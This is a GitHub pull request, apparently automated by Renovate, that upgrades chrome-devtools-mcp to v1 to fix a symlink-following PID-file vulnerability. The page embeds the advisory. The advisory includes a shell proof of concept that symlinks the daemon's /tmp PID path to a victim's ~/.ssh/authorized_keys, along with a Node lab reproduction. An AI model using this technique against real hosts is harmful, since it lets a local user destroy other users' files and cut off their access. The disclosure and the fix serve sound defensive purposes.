Skip to content

Update npm package chrome-devtools-mcp to v1 [SECURITY]#244

Open
hash-worker[bot] wants to merge 1 commit into
mainfrom
deps/js/npm-chrome-devtools-mcp-vulnerability
Open

Update npm package chrome-devtools-mcp to v1 [SECURITY]#244
hash-worker[bot] wants to merge 1 commit into
mainfrom
deps/js/npm-chrome-devtools-mcp-vulnerability

Conversation

@hash-worker

@hash-worker hash-worker Bot commented Jun 19, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
chrome-devtools-mcp ^0.21.0^1.0.0 age confidence

Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directory

CVE-2026-53765 / GHSA-3pvj-jv98-qhjq

More information

Details

Summary

The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.

Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.

This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDG_RUNTIME_DIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.

Details

Affected code:

src/daemon/daemon.ts:38-42

const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
  recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());

src/daemon/utils.ts:49-68

export function getRuntimeHome(sessionId: string): string {
  const platform = os.platform();
  const uid = os.userInfo().uid;
  const suffix = sessionId ? `-${sessionId}` : '';
  const appName = APP_NAME + suffix;

  if (process.env.XDG_RUNTIME_DIR) {
    return path.join(process.env.XDG_RUNTIME_DIR, appName);
  }

  if (platform === 'darwin' || platform === 'linux') {
    return path.join('/tmp', `${appName}-${uid}`);
  }

  return path.join(os.tmpdir(), appName);
}

The /tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victim_uid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.

Preconditions:

  • The victim is on a typical macOS environment where $XDG_RUNTIME_DIR is unset, or on a Linux system/session where $XDG_RUNTIME_DIR is unset.
  • The attacker has any local user account on the same host.
  • The victim later runs a chrome-devtools CLI path or MCP integration that starts daemon mode.
PoC

Realistic POSIX scenario:

##### Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
      "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"

##### Victim later starts daemon mode.
chrome-devtools start

##### Result:

##### fs.writeFileSync follows the symlink, so authorized_keys is truncated to
##### the daemon PID string.

Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab-* directory:

const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');

const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));

try {
  fs.chmodSync(lab, 0o755);

  const victimSecret = path.join(lab, 'victim-secret.txt');
  fs.writeFileSync(
    victimSecret,
    'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
  );

  const runtimeDir = path.join(lab, 'attacker-pre-created');
  fs.mkdirSync(runtimeDir, {recursive: true});

  const pidFilePath = path.join(runtimeDir, 'daemon.pid');
  fs.symlinkSync(victimSecret, pidFilePath);

  // Exact pattern from src/daemon/daemon.ts:39-42.
  fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
  fs.writeFileSync(pidFilePath, process.pid.toString());

  console.log(fs.readFileSync(victimSecret, 'utf8'));
  // -> "<pid>"  (victim file was truncated/overwritten)
} finally {
  fs.rmSync(lab, {recursive: true, force: true});
}

Observed output from the lab PoC:

[setup] victim secret BEFORE attack:
  IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>
[victim ran daemon] victim secret AFTER:
  <pid>
[lstat pidFile] still symlink
[outcome] victim file was overwritten via attacker-placed symlink.

I can provide the standalone pidfile_symlink_poc.cjs file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.

Impact

Who can exploit:

Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when $XDG_RUNTIME_DIR is unset for that user session.

Security impact:

  • Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.
  • Availability: critical user configuration files can be corrupted until restored from backup.
  • Confidentiality: none directly; the written content is only the PID string.

Example targets affected by truncation:

  • ~/.ssh/authorized_keys, causing the victim to lose SSH access.
  • ~/.bashrc, ~/.zshrc, or ~/.profile, breaking shell startup.
  • Project .env, secrets.json, license files, or line-oriented config files.
  • Logs or local audit files writable by the victim.

Suggested fix:

Open the PID file with O_NOFOLLOW and validate runtime directory ownership/permissions before writing:

import {constants, openSync, writeSync, closeSync} from 'node:fs';

const fd = openSync(
  pidFilePath,
  constants.O_WRONLY |
    constants.O_CREAT |
    constants.O_TRUNC |
    constants.O_NOFOLLOW,
  0o600,
);
writeSync(fd, process.pid.toString());
closeSync(fd);

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

ChromeDevTools/chrome-devtools-mcp (chrome-devtools-mcp)

v1.1.0

Compare Source

🎉 Features
  • add extraHttpHeaders emulation to emulate tool (#​1176) (6992106)
  • created cursor plugin.json setting file with release auto versioning (#​2091) (10c8205)
🛠️ Fixes
📄 Documentation
🏗️ Refactor

v1.0.1

Compare Source

🛠️ Fixes
📄 Documentation

v0.26.0

Compare Source

🎉 Features
🛠️ Fixes
📄 Documentation
🏗️ Refactor

v0.25.0

Compare Source

🎉 Features
🛠️ Fixes
  • input: stop native select option clicks from timing out (#​1960) (510ec0f)
  • make sure env variables are consistently applied when parsing args (#​1994) (f45f068)
📄 Documentation

v0.24.0

Compare Source

🎉 Features
🛠️ Fixes

v0.23.0

Compare Source

🎉 Features
📄 Documentation
  • clarify resource limitations around the number of tabs (#​1927) (42be7c3)
🏗️ Refactor

v0.22.0

Compare Source

🎉 Features
🛠️ Fixes
📄 Documentation
🏗️ Refactor

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • "before 4am every weekday,every weekend"

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

@hash-worker
hash-worker Bot enabled auto-merge June 19, 2026 16:54
@cursor

cursor Bot commented Jun 19, 2026

Copy link
Copy Markdown

PR Summary

Low Risk
Dependency-only devDependency bump with no runtime or application code changes; main residual risk is behavior changes in local Chrome/MCP tooling used by agent skills.

Overview
Bumps the devDependency chrome-devtools-mcp from ^0.21.0 to ^1.0.0 in package.json, with the lockfile pinning 1.6.0. No application source changes—only dependency metadata and package-lock.json.

The upgrade addresses CVE-2026-53765 (daemon PID file symlink write on POSIX /tmp fallback). v1.x also declares new optional peer dependencies (@blackwell-systems/gcf, @toon-format/toon) in the lockfile; they are not added to this repo’s direct dependencies.

Reviewed by Cursor Bugbot for commit 0104918. Bugbot is set up for automated code reviews on this repo. Configure here.

@hash-worker
hash-worker Bot force-pushed the deps/js/npm-chrome-devtools-mcp-vulnerability branch from 762897e to dd6f0eb Compare July 11, 2026 12:24
@hash-worker hash-worker Bot changed the title Update npm package chrome-devtools-mcp to v1 [SECURITY] Update npm package chrome-devtools-mcp to v1 [SECURITY] - autoclosed Jul 21, 2026
@hash-worker hash-worker Bot closed this Jul 21, 2026
auto-merge was automatically disabled July 21, 2026 14:45

Pull request was closed

@hash-worker
hash-worker Bot deleted the deps/js/npm-chrome-devtools-mcp-vulnerability branch July 21, 2026 14:45
@hash-worker hash-worker Bot changed the title Update npm package chrome-devtools-mcp to v1 [SECURITY] - autoclosed Update npm package chrome-devtools-mcp to v1 [SECURITY] Jul 21, 2026
@hash-worker hash-worker Bot reopened this Jul 21, 2026
@hash-worker
hash-worker Bot force-pushed the deps/js/npm-chrome-devtools-mcp-vulnerability branch 2 times, most recently from dd6f0eb to 0104918 Compare July 21, 2026 16:35
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants